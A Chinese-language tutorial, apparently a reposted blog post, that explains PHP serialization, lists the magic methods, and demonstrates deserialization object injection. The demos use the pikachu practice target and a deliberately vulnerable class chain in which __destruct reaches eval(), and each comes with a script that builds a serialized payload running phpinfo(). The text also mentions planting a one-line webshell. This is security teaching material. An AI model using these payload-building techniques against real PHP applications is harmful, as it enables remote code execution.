引用文章
PHP反序列化和序列化方法
php用serialize和unserialize着两个函数进行序列化和反序列化
序列化的含义为:将类与对象转换为可以存储的值,可以储存在任何地方,而且不会破坏类型和结构。
反序列化的含义为:将字符串转化为php值。
魔术函数触发条件
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
利用方式举例
我们用pikachu靶机里的源代码做一个演示。
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
这是一个有类的php反序列化,由post方式提交表单。
我们在这里构造一个恶意代码phpinfo()
<?php
class S{
var $test = "phpinfo()";
function __construct(){
echo $this->test;
}
}
$a = new S;
$b = serialize($a);
print $b;
?>
得到字符串,在靶机里面进行输入。
得到结果:
当然我们这里只是显示test变量,如果是eval 函数的话就可以植入一句话木马等等恶意代码。
利用php反序列化条件
1.反序列化的参数是可控的
2.执行危险函数的路径可达
我们看一下这个例子,从一位博主那借鉴过来的。
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
?>
参数可控很好理解,就是通过get方式传参然后控制反序列化后的参数传递。
路径可达其实就是我们可以利用危险函数。比如这里,因为我们__destruct函数指向action函数,而normal和evil都有action。我们就可以把__construct函数新创建的类改为我们的evil类。从而执行eval()。
这是序列化的exp
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
?>
一定要进行一个url加密,不然payload出来是错的。